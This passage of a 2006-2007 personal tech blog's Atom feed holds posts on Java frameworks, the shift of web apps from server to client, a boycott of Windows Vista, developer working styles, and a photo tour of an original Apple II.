/&gt;&lt;br /&gt;The advice I give to developers these days is not to chase buzzword frameworks just for the sake of padding your resume. (Unless you are a contractor, in which case resume padding is hard to resist.) Be aware that all print media is definitely trying to sell you something. If anyone says that your application sucks because it doesn't use "Spring" or "Hibernate" or whatever, don't listen to them. Highly technical people are often as short-sighted as they are enthusiastic about any new "toy".&lt;br /&gt;&lt;br /&gt;If you have a small application written by only 1 or 2 developers, I believe it is perfectly acceptable to use native Java API's and nothing else. Don't let the technology snobs tell you that you code is "stone-age" or unmaintainable that way. If anything it's the least abstracted solution and therefore easiest for another developer to follow and debug.&lt;br /&gt;&lt;br /&gt;High quality and highly maintainable applications can be written without frameworks. Trust me. They have been for decades.&lt;br /&gt;&lt;br /&gt;If your application is medium or large with 3 or more developers, then the payback for using a framework becomes a little greater, for consistency across modules if nothing else. At that point, you can evaluate frameworks to see if you think the time and complexity saved by using the framework outweighs the long learning curve for the team and the design limitations that will be imposed by the framework.&lt;br /&gt;&lt;br /&gt;But even then, it's a dicey proposition. Frameworks come and go. They are often soon replaced or orphaned as soon as something newer comes along. And that leaves your code in an unmaintainable state, because it is almost impossible to replace a framework without re-writing your code. And no developer wants to code on old frameworks. If you stick to only standard Java API's, you can be sure of long-term maintainability. Java API's sometimes become deprecated, but they are rarely removed. Java 1.1 code written in 1996 will port fairly easily to a Java 6.0 compiler. Struts 1.x code written in 2006 won't port to jack squat, because Struts 2.0 is not backward compatible.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-5341657598411890023?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/5341657598411890023/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=5341657598411890023' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/5341657598411890023'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/5341657598411890023'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2007/03/framewurks.html' title='Framewurks'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-1665224507624210890</id><published>2007-04-11T11:19:00.000-05:00</published><updated>2007-04-11T11:22:00.474-05:00</updated><title type='text'>What you know about math?</title><content type='html'>This is just a geeky video put together by some high school kids. And yet...this song is really catchy!  And now I can't get it out of my head. I love the lyrics and the way it's put together!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.glumbert.com/media/knowmath"&gt;http://www.glumbert.com/media/knowmath&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-1665224507624210890?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/1665224507624210890/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=1665224507624210890' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/1665224507624210890'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/1665224507624210890'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2007/04/what-you-know-about-math.html' title='What you know about math?'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-2547667453445395345</id><published>2007-04-04T08:38:00.000-05:00</published><updated>2007-04-18T14:21:28.950-05:00</updated><title type='text'>From Client-Server to Server-Client</title><content type='html'>In the early days of browser technologies, web applications were pretty simple. Very little work was done on the server side, and the HTML generated was pretty static and plain. Most applications had more static content than dynamic content.&lt;br /&gt;&lt;br /&gt;These sites were very "server-friendly". The load placed on the server for each request was light, the memory requirements were minimal, and most of the content could be easily cached.&lt;br /&gt;&lt;br /&gt;This was a wonderful revolution in technology, because it allowed for thousands of thin-clients to be served from a single modest server. Multiple applications could be accessed from a browser without having to install anything on your desktop. Remember that these were the days when installing and configuring native applications across a wide variety of desktops was very (very very very) difficult and error-prone.&lt;br /&gt;&lt;br /&gt;But web applications were easier to manage and easier to scale.  This was a retreat from fat-client applications on the desktop, and a return to dumb-terminal technologies that were previously common on mainframes. Only this time the "dumb-terminal" was a little smarter and could do fancier text and graphics.&lt;br /&gt;&lt;br /&gt;At the time, many mainframe developers mocked this reversal in technology trends, but we assured ourselves that this time it would be different, and this time we would do it "right". The web was nothing at all like the mainframe...right? At least we don't have the deal with COBOL! (yuk!)&lt;br /&gt;&lt;br /&gt;But over the years, web applications have become increasingly sophisticated, stateful, and dynamic. Modern web applications have almost zero static content, and all content is dynamically generated from a series of datasets and translation mappings. The HTML generated for each page is becoming increasingly sophisticated and complex, requiring robust MVC frameworks and heavy-weight server-side page-rendering technologies. A very large percentage of the server load is now spent on processing and generating UI constructs for the user, and less of this content can be cached.&lt;br /&gt;&lt;br /&gt;The number of servers required to run sophisticated web applications is growing rapidly, both for performance reasons and application management reasons. Companies have to manage (or outsource) large numbers of servers.&lt;br /&gt;&lt;br /&gt;Modern users want web applications that are every bit as feature-rich as fat-client PC applications. But all this "feature-rich" behavior has been generated on the server and managed within the server session. The number of concurrent users that can be supported on a single large server has gone from thousands to hundreds...and in some cases just dozens, even while servers are getting more powerful.&lt;br /&gt;&lt;br /&gt;Each "instance" of a user on the server has become every bit as resource intensive as a full-blown fat-client PC application. And supporting 1000 concurrent users on a server becomes the equivalent of supporting 1000 concurrent instances of Microsoft Word on the server. (It kills the server.)&lt;br /&gt;&lt;br /&gt;I don't think this is a trend that has been widely identified in our industry. Instead, we keep developing heavier server-side frameworks, with the assumption that somehow Moore's law will take care of this. My experience has been that Moore's law is not fixing the situation, because this is not just an issue of raw performance. This is also an issue of the complexity that comes from mis-matched technologies. HTTP and HTML were never meant to be rich-client technologies. It is only through a series of &lt;a href="http://dogic.blogspot.com/2005/07/scalable-java-web-applications.html"&gt;kludges&lt;/a&gt; that we have made them so. Managing a rich object-oriented GUI across a flat stateless protocol is a nightmare that no framework can completely address. This problem is compounded by the fact that the disconnect between the browser and the server allows a user to navigate the application in a non-linear fashion using bookmarks and the infamous "back" and "refresh" buttons. Session states can easily get scrambled or unintentionally shared across multiple separate browser windows. It's a mess.&lt;br /&gt;&lt;br /&gt;But along comes Web 2.0, and everything changes. I know that the terms "Web 2.0" and "AJAX" are vague and way over-hyped. However, the basic concept of putting major application functionality onto the browser (instead of the server) is a good one. My definition of "Web 2.0" is anything that takes the browser beyond static HTML to provide a full application experience in the browser.&lt;br /&gt;&lt;br /&gt;I believe one of the major factors pushing "Web 2.0" technologies is a great desire to get back to a simple fat-client model of application development. Most developers might not even realize (or be too young to realize) that modern Web 2.0 technologies are looking a lot like Client-Server and/or N-tier technologies of the 90's. (A Web 2.0 "Mash Up" is the exact same concept as Windows OLE technologies from 1996. Think about it.) This trend is generating an explosion of feature-rich web applications. Web 2.0 technologies address many of the problems of modern web application development that come from managing a GUI across a disconnected protocol. The GUI runs entirely from the client where the program can control (or at least be aware of) user actions and non-linear navigation. Multiple open windows are no problem, and neither is load balancing or server failover. The servers can return to a true stateless architecture, which allows for much greater reliability, scalability and managability. Much of the HTML generation and processing is done on the client, in their browser, rather than on the server. User interaction can be handled immediately on the screen without a round-trip to the server and back. This greatly reduces load on the server, and on the network.&lt;br /&gt;&lt;br /&gt;Modern web users demand powerful and dynamic user interfaces. Period. (Thanks a lot Google.) And pushing that kind of GUI processing to the server suffers from too many complications, bottlenecks and constraints. Server-based GUI applications only worked in the early days of the Web because the GUI features that were available were so limited...and a browser really was just a really fancy dumb-terminal.&lt;br /&gt;&lt;br /&gt;I'm seeing many new applications being developed with AJAX and Flex (and sometimes even Java Applets) where the entire application runs from the browser. The application only calls out to servers for business services. This is classic old-school Client/Server and N-tier technology...only instead of powerful structured languages like C++, Java, and Visual Basic (ick), we have unstructured sloppy JavaScript. We have JavaScript because that is the only technology that all browsers support. (Thanks Microsoft.) But there are major efforts underway to improve the situation through better JavaScript tools, and lightweight plugin technologies based on Flash. And this model might even extend to your desktop applications with new projects like Adobe Apollo.&lt;br /&gt;&lt;br /&gt;This *must* be the direction that the web moves in, because what we must have in order to create the quality applications of the future.&lt;br /&gt;&lt;br /&gt;Maybe the browser could could even *be* your desktop, and you would have a web page with icons for launching all your fat-client Web Applications. We'll be back to where we started in the early 90's. Except this time we will hopefully have learned our lessons, and we will take standards and cross-platform support more seriously. I don't mind going back to the early 90's so long as we do it right this time and use universal sandbox technologies (standards-based browsers, virtual machines, cross-platform plugins, etc.) that allow any application to run on on any platform. This will prevent (or greatly reduce) the installation nightmares of native applications that drove us to thin-clients in the first place.&lt;br /&gt;&lt;br /&gt;I fully support what these technologies are trying to do. I just hope they don't drown themselves in marketing hype and JavaScript in the process. JavaScript will only take us so far. And, in fact, JavaScript is already hitting it's limit. We've pushed that technology as far as it can go, and we are now dependent on the widespread adoption of plugin-technologies such as Flash and Java. The use of plugin-technologies is definitely a stumbling block, but it is necessary because of Microsoft's legendary hostility toward any standards-based technologies that would put other browsers on an equal footing with IE.&lt;br /&gt;&lt;br /&gt;Overall, we are making some good progress in the art of developing Web Applications, with or without Microsoft's help. And that's a good thing. I just find it interesting to look back on where we've been, and how application logic has swung back and forth between client and server. Each time it swings for a valid reason, and yet it always seems a shame that we can't settle on one model of application development. Maybe we never will. :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-2547667453445395345?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/2547667453445395345/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=2547667453445395345' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/2547667453445395345'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/2547667453445395345'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2007/04/from-client-server-to-server-client.html' title='From Client-Server to Server-Client'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-6552017057389902311</id><published>2007-02-23T21:03:00.000-06:00</published><updated>2007-04-04T14:42:17.553-05:00</updated><title type='text'>A turning point for Microsoft</title><content type='html'>I am not an Open Source evangelist. I like Open Source technologies, but I also understand the advantages of proprietary solutions.&lt;br /&gt;&lt;br /&gt;As much as I want to see Linux and Open Office succeed, at the end of the day I’m still a pragmatist. I will always go with what works best, and many of the tasks I perform on a regular basis work best under Windows. I could perform these same tasks under Linux if I had to, but it would require more time and effort on my part.&lt;br /&gt;&lt;br /&gt;One of my favorite quotes is: “Linux is free…if your time isn’t worth anything to you.”&lt;br /&gt;&lt;br /&gt;So, like it or not, my primary “fun” computer at home is a Windows machine. I do have other Linux machines (and a Mac) that I use for servers and much of my development work, but for surfing and playing and general computing, I still use Windows.&lt;br /&gt;&lt;br /&gt;I don’t much like Microsoft or their attitudes toward consumers. But I have mostly stayed out of the religious wars, figuring the impracticality of making my life difficult by trying to resist overwhelming trends.&lt;br /&gt;&lt;br /&gt;I’ve been content just going with the flow…until now. With the release of Vista, Microsoft has embarked on a course that, as a consumer, I can no longer accept. I’ve thought about this for several months now, so this is not a decision made rashly.&lt;br /&gt;&lt;br /&gt;Using a monopoly to impose your will on your competition is bad enough (and illegal), but using a monopoly to impose your will on the consumers is cause for boycott.&lt;br /&gt;&lt;br /&gt;The first and most obvious problem with Vista is the price. With Vista, Microsoft has increased the price of their OS to rougly $200 for a basic version, and $400 for the good version. This is an era when computers are becoming cheaper and more widely available. Consumers and people all over the world benefit from this. A well-powered desktop machine can be had for $500 these days, and the "One Laptop Per Child" association is working to develop $100 laptop computers to help educate the world's children. In the midst of this wave of inexpensive technology, Microsoft dares to keep rasing prices for the basic operating system. If this were a free market, computer makers and consumers would just abandon Microsoft for cheaper alternatives. But it isn't a free market, because Microsoft has a monopoly and we are painfully locked into to their platform.&lt;br /&gt;&lt;br /&gt;We pay higher and higher prices for Microsoft Software, while Microsoft enjoys some of the highest profit margins of any company on earth. Attempts have been made to put legal limits on what Microsoft can do, but they have failed in the U.S. (Thanks largely to John Ashcroft.) So our only choice is to join and support the grass-roots efforts of the Open Source community.&lt;br /&gt;&lt;br /&gt;Microsoft (with much assistance from other corporate copyright holders) has undertaken the task of ensuring license compliance through aggressive consumer control. They have adopted the philosophy that they have the right to control how people user their computers.&lt;br /&gt;&lt;br /&gt;Microsoft believes that this is the best way to ensure that they get every penny they are legally due under the terms of their software license agreements (that nobody reads).&lt;br /&gt;&lt;br /&gt;But I see no precedent in our society for subjugating individual property rights for the sake of guaranteeing corporate remuneration (unless, of course, someone has actually stolen from a company). But just because a few people steal from Wal-Mart does not give Wal-Mart the right to invasively monitor every household that has ever purchased goods from Wal-Mart. There would be public outcry if Wal-Mart tried that. And yet that is exactly what Microsoft is doing, only it is hidden and unnoticed by the general public.&lt;br /&gt;&lt;br /&gt;The first noticeable instance of their far-reaching software control policy was their infamous “activation process” that Microsoft used in Windows XP.&lt;br /&gt;&lt;br /&gt;Microsoft introduced technology that tied their OS to a specific physical computer, such that both the software and the hardware had to be registered with Microsoft. Any “significant changes” (as arbitrarily defined by Microsoft) to the hardware was considered to be an untrustworthy action by the user that required the user to call Microsoft and answer some questions. If the user had a justifiable reason (as arbitrarily defined by Microsoft) for modifying their own hardware, then Microsoft would issue them another activation code so they could continue to use their computer.&lt;br /&gt;&lt;br /&gt;When Microsoft introduced their activation process, there was much outcry among the technical community. But Microsoft calmed the masses with assurances that the re-activation process would be quick and easy, and the questioning would be very light and friendly. Microsoft promised to grant new activation codes in most cases.&lt;br /&gt;&lt;br /&gt;I’m not even going to enumerate the many historical examples of the incremental erosion of personal rights couched in assurances that “It’s needed for security. And besides, most of you won’t even notice.”&lt;br /&gt;&lt;br /&gt;If you think I’m being too dramatic in comparing Microsoft to a reactionary government, I’ll remind you that Microsoft has several major interlocking monopolies that give them significant control over your lives, both at work and at home. And Microsoft is certainly not a democracy.&lt;br /&gt;&lt;br /&gt;Well, it turns out the activation process for Windows XP was a legal foothold which Microsoft has continued to expand with Vista. In the fuzzy and borderless world of digital media and digital computing, Microsoft was allowed to extend their legal control beyond the boundaries of the software they created.&lt;br /&gt;&lt;br /&gt;We are entering an era where the government has granted broad rights over all digital content to the legal “owners” of that content. And this is directly at odds with the nature of the digital revolution which thrives on widespread access and easy manipulation of data.&lt;br /&gt;&lt;br /&gt;Granting sweeping rights that control all manipulation of digital information was probably a big mistake. DRM (Digital Rights Management) technologies are an even bigger mistake. But Microsoft is compounding this problem by choosing to use its position to be the enforcer of these laws. And like a vigilante, they are answerable to no one, and are not bound by personal rights to property and privacy. Concepts of “property” and “privacy” become complicated and blurry and difficult to legislate in the realm of digital media.&lt;br /&gt;&lt;br /&gt;I have witnessed this trend progress incrementally from year to year since the 2000. If it isn’t stopped, it will reshape the very nature of technology and free exchange of information for decades to come.&lt;br /&gt;&lt;br /&gt;With Vista, Micrsoft has incrementally further restricted their activation process, so that a larger number of users will be denied new activation codes if significant hardware changes are made. With Vista, you are only allowed to replace or "significantly upgrade" your computer once. After that, you have to buy another copy of Vista.&lt;br /&gt;&lt;br /&gt;Microsoft has also increased their control over the hardware in your computer by only supporting media devices (video cards and sound cards) that can enforce the new Digital Rights Management schemes that ensure copyright owners control over how you use their media. They ensure their control to their media by never letting you “have” the media. Rather, the media is stored in a digital “cage” of encryption, and you are granted visitation rights to the media at the discretion of the corporate owners. You are not allowed to take the media out of the cage, and those people who have found or created keys to the cage are pursued to the ends of the earth by law enforcment.&lt;br /&gt;&lt;br /&gt;Of course, creating a key in the privacy of your own home is hard to detect, so Microsoft has decided to support technologies that give the copyright holders significant control over how you use your computer. These technologies inconvenience and punish the legitimate users. People who have never stolen a song in their life will still have to pay extra money and lose control over their computer.&lt;br /&gt;&lt;br /&gt;Technology is supposed to give us more freedom, not more monitoring. I disagree with Microsoft’s decisions and business practices on the most fundamental levels, and I can no longer support them.&lt;br /&gt;&lt;br /&gt;I am currently boycotting all Microsoft products, and I will dedicate time to find alternatives to the things I need for the Macintosh or for Linux. If you have strong feelings about the potential dangers of the direction the computing industry is heading, then I encourage you to do the same.&lt;br /&gt;&lt;br /&gt;For those of you who do not have strong feelings, I can understand the desire to stay on Windows. I know we all have to pick and choose the causes we wish to support, and I know the underpinnings of Operating Systems is not a popular cause for most people. There are other problems in the world that loom larger than this. But this happens to be my field and my specialty, and I feel it is my responsibility as a practitioner to take a stand and do my part to shape the future of this profession.&lt;br /&gt;&lt;br /&gt;Several good alternatives to Windows and Microsoft Office are starting to take shape with Linux, Google Apps, Open Office, Mac OS/X, Think Free, etc. I will do my best to support these efforts and to bring them to the general public.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-6552017057389902311?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/6552017057389902311/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=6552017057389902311' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/6552017057389902311'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/6552017057389902311'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2007/02/turning-point-for-microsoft.html' title='A turning point for Microsoft'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-116458466613506822</id><published>2006-11-26T17:40:00.000-06:00</published><updated>2007-04-23T12:55:23.344-05:00</updated><title type='text'>Software Development is Personal</title><content type='html'>I’ve met developers who are command-line wizards.  They prefer to use typed commands and scripts for all their work.  Some even do much of their coding in “vi”, because they feel that graphical IDE’s get in their way.&lt;br /&gt;&lt;br /&gt;I’ve also met developers who are strongly visually-oriented, and prefer to use rich GUI interfaces for everything.  Some even do much of their code using UML tools that take diagrams and generate classes from them.&lt;br /&gt;&lt;br /&gt;And these two types of developers represent the two extremes of a broad spectrum of developer styles and preferences that are personal.  I’ve met brilliant and effective software developers all along this spectrum.&lt;br /&gt;&lt;br /&gt;I don’t think there is sufficient recognition of the human factor in software development.  Techniques, tools, and methodologies that work well for some developers are often awkward and unnatural for other developers.&lt;br /&gt;&lt;br /&gt;I see way too many proponents of some technologies or methodologies who say “Once you use XYZ, you won’t go back!”  Obviously XYZ was a natural personal fit for these evangelists.  And if other developers don’t instantly fall in love with XYZ, then the standard answer is “You just don't get it yet.  Keep using it.  You’ll get better at it with practice!”&lt;br /&gt;&lt;br /&gt;Yes, of course any developer will get better at anything with practice.  But what is not recognized is that technology XYZ might be fundamentally at odds with an individual personality, and at odds with the way that person internally structures and processes information.&lt;br /&gt;&lt;br /&gt;A given developer might be more productive with technology “ABC” instead of “XYZ”, even if ABC is viewed as inferior by a plurality of members of the developer community.  And yet, in our industry, there is much pressure to standardize and “keep up” with the latest trends.  Developers who don’t use technology XYZ can feel embarrassed or fear that they don’t “get it”.  They don’t dare openly admit that technology XYZ doesn’t seem right to them.&lt;br /&gt;&lt;br /&gt;For example:  Test Driven Development.  I know many developers who tried TDD, and it was a perfect fit for their development style, and for their personality.  They LOVED it, and they can't imagine doing ANY coding without it.  Then there are other developers who try TDD, and find it doesn't pay off for them, and gives them two points of maintenance for every function point.  And it's just not a natural fit for their personality to code "test-down" instead of "code-up". The truth is probably somewhere in the middle...that TDD is good for some types of objects in some types of situations. &lt;br /&gt;&lt;br /&gt;And yet, TDD has become a major source of contention is the development world.  The people who enjoy TDD are over-using it.  The people who hate TDD are under-using it.  And all manner of arguments and conflict ensues.&lt;br /&gt;&lt;br /&gt;Human beings learn and think and process their knowledge in a wide variety of ways.  Some learn best by listening, some learn best by seeing, some learn best by doing.  Some people are extroverted, some are introverted.  Some people need details, some people need the big picture.  And so on and so on.  The variety of ways in which different people think and learn makes it really difficult to make abstracted technologies or methodologies that are a good fit for everyone.&lt;br /&gt;&lt;br /&gt;But then, how do we create an effective team of developers unless we standardize on a specific methodology and a specific set of technologies?  How can you use TDD when both sides are insisting an "all-or-nothing" approach?  It is difficult.  I don’t have any magic answers, other than we should be aware of this phenomenon, and be sensitive to it.  Assign developers to those tasks which are the best fit for their personality.  Try to keep team standards at the lower levels, at the code level, where they are most important.&lt;br /&gt;&lt;br /&gt;I’ve worked on teams where developers use different IDE’s and different Operating Systems, each tuned to their own preferences.  And that does seem to work very well, especially in the Java and Open Source worlds where everything is cross-platform and follows a set of low-level standards.&lt;br /&gt;&lt;br /&gt;But at any level where a team has to function as a single unit, there must be standardization.  For example:  All developers on the team must follow one project methodology.  So, if your team wants to use XP (eXtreme Programming), and you’ve tried XP and it just doesn’t fit your personality, then stick it out for a while and hope they change their mind or hope you find a way to make XP work for you.  But failing that, you might then try to find other projects and companies that don’t use XP.  If XP becomes so popular that every company uses it for every project, then you might need to consider getting a job in another branch of technology.&lt;br /&gt;&lt;br /&gt;But I doubt that will happen.  Companies themselves have personalities too, and XP is definitely at odds with some corporate personalities.  So the best thing is to find a company that has an overall personality that fits your own preferred working style.  If you enjoy documentation and rigid procedures…then go work for an insurance company.  =)&lt;br /&gt;&lt;br /&gt;Finding a personality match with a company will make you most effective as a developer and bring you the highest degree of job satisfaction.  And if a given project decides to use some specific technology that you find awkward, like Tapestry or EJB2 or whatever, you won’t have as much of a problem adapting to that technology for the sake of the team.&lt;br /&gt;&lt;br /&gt;As developers, we have all gotten used to being effective and productive with sub-optimal technologies.  =)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-116458466613506822?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/116458466613506822/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=116458466613506822' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/116458466613506822'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/116458466613506822'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2006/11/software-development-is-personal.html' title='Software Development is Personal'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-115836549096992068</id><published>2006-09-26T19:11:00.000-05:00</published><updated>2006-12-26T23:22:32.813-06:00</updated><title type='text'>The Cutting-Edge of Yesteryear</title><content type='html'>&lt;p&gt;&lt;/p&gt;&lt;p&gt;Today I'd like to talk a little about the Apple II computer.&lt;/p&gt;&lt;p&gt;"Huh...what? Am I on the wrong blog?"&lt;/p&gt;&lt;p&gt;No, I'm just taking a moment to put aside all my modern high-tech technologies to take a walk down memory-lane, to where all this stuff began. My first computer was an Apple II+ in 1979, near the beginning of the personal computer revolution.&lt;/p&gt;&lt;p&gt;I still collect, repair, and program old computers (mostly Apple II's), and I find it fascinating at times to look back and remember this stuff, and see how far we've come. Often times I am amazed at the progress of modern technology, but other times I am amazed of just how capable these old machines were and what they were able to accomplish with such limited resources!&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://photos1.blogger.com/blogger/7617/217/1600/P1010027.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://photos1.blogger.com/blogger/7617/217/400/P1010027.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This is an Apple II computer. And not just any Apple II computer, but one of the very first of the first. A true “II“ (2) computer, not a II+ or IIe or IIc or any of the later models. &lt;/p&gt;&lt;p&gt;(Note: All pictures in this article can be enlarged by clicking on them.)&lt;br /&gt;&lt;br /&gt;The Apple II was not the very first personal computer, but it was the first good mainstream computer that a middle-class family could buy and use in their home. It was sold fully functional with no assembly required. (Unlike the Apple 1 and Altair).&lt;br /&gt;&lt;br /&gt;As with Ford’s Model-T car, it wasn’t the first of its kind, but it was the first that attained mass-market popularity and longevity. The Apple II computer line ran from June 5, 1977 through October 15, 1993. For all 16 years of these years, the fundamental architecture, firmware, CPU, and style of the Apple II computer remained virtually unchanged. As recent as 1993, Apple was still selling 1 MHz CPU Apple IIe computers. They had become such a fixture of the computing landscape that these machines still had their uses and loyal fans, even as 33mhz “Wintel” computers were becoming common.&lt;br /&gt;&lt;br /&gt;In a world governed by Moore’s Law, where computing power doubles every 18 months, one architecture lasting 16 years is truly phenomenal.&lt;br /&gt;&lt;br /&gt;By the early 1980’s, the Apple II had competition from many brands of newer and cheaper computers, most notably the popular Commodore-64. But the Apple II (in my humble opinion) was the overall best of its day. And Apple is the only computer maker of that era that is still in business today and is still making their own unique brand of computers. Even IBM doesn’t make personal computers anymore.&lt;br /&gt;&lt;br /&gt;I'm not telling you anything about the history of computers that you can't find on Wikipedia or any number of historical computer references. But I do notice these resources are missing some of the finer details of the construction of the early Apple II computers...the kinds of details that collectors of old computers would find important. &lt;/p&gt;&lt;p&gt;Most Apple fans will remember the height of the Apple II line, when the Apple IIe and Apple IIgs computers had become common-place in schools and homes. But few Apple fans have seen the beginning of the Apple II line.&lt;br /&gt;&lt;br /&gt;So here is my nickel tour of how it started, complete with pictures!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://photos1.blogger.com/blogger/7617/217/1600/P1010021.0.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://photos1.blogger.com/blogger/7617/217/400/P1010021.0.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This is the original Apple II computer as it was sold. The name-plate on the computer just says "Apple ][". Most people now use the spelling "Apple II" instead of "Apple ][" because bracket characters are notorious for causing problems in search engines and eBay. &lt;/p&gt;&lt;p&gt;Over 99% (I'm not exaggerating) of the Apple II computers you’ll find for sale on eBay have the word “plus” in green letters on this name plate. That indicates it’s a newer Apple II+ computer made in or after 1979. An original non-plus Apple II is especially rare, as relatively few were made.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://photos1.blogger.com/blogger/7617/217/1600/P1010036.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://photos1.blogger.com/blogger/7617/217/400/P1010036.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;I have many old Apple computers, but this the only one I have that is an original Apple II "Revision-0" (zero) model. It is serial #369, made in late June of 1977, one of the very first Apple II's ever sold. I bought this computer from its original owner. (But that’s another story.) This is a picture of the serial-number sticker on the bottom of the computer. Note the words "MADE IN U.S.A.". &lt;/p&gt;&lt;p&gt;Apple II+ computers generally have a green sticker on the bottom, and the model number is "A2S2" instead of "A2S1".&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;a href="http://photos1.blogger.com/blogger/7617/217/1600/IMG_0031.0.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://photos1.blogger.com/blogger/7617/217/400/IMG_0031.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p&gt;Here is the inside of the Apple II computer. One of the things that made the Apple II such a cool computer was that you had easy access to the insides for upgrades or other modifications. The case just popped open without having to unscrew anything. It was a natural hacker’s box. There are 8 slots for add-on cards, and every chip is socketed. One of the reasons I like collecting and working on these old Apples is the ease with which I can repair them.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://photos1.blogger.com/blogger/7617/217/1600/IMG_0038.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://photos1.blogger.com/blogger/7617/217/400/IMG_0038.jpg" border="0" 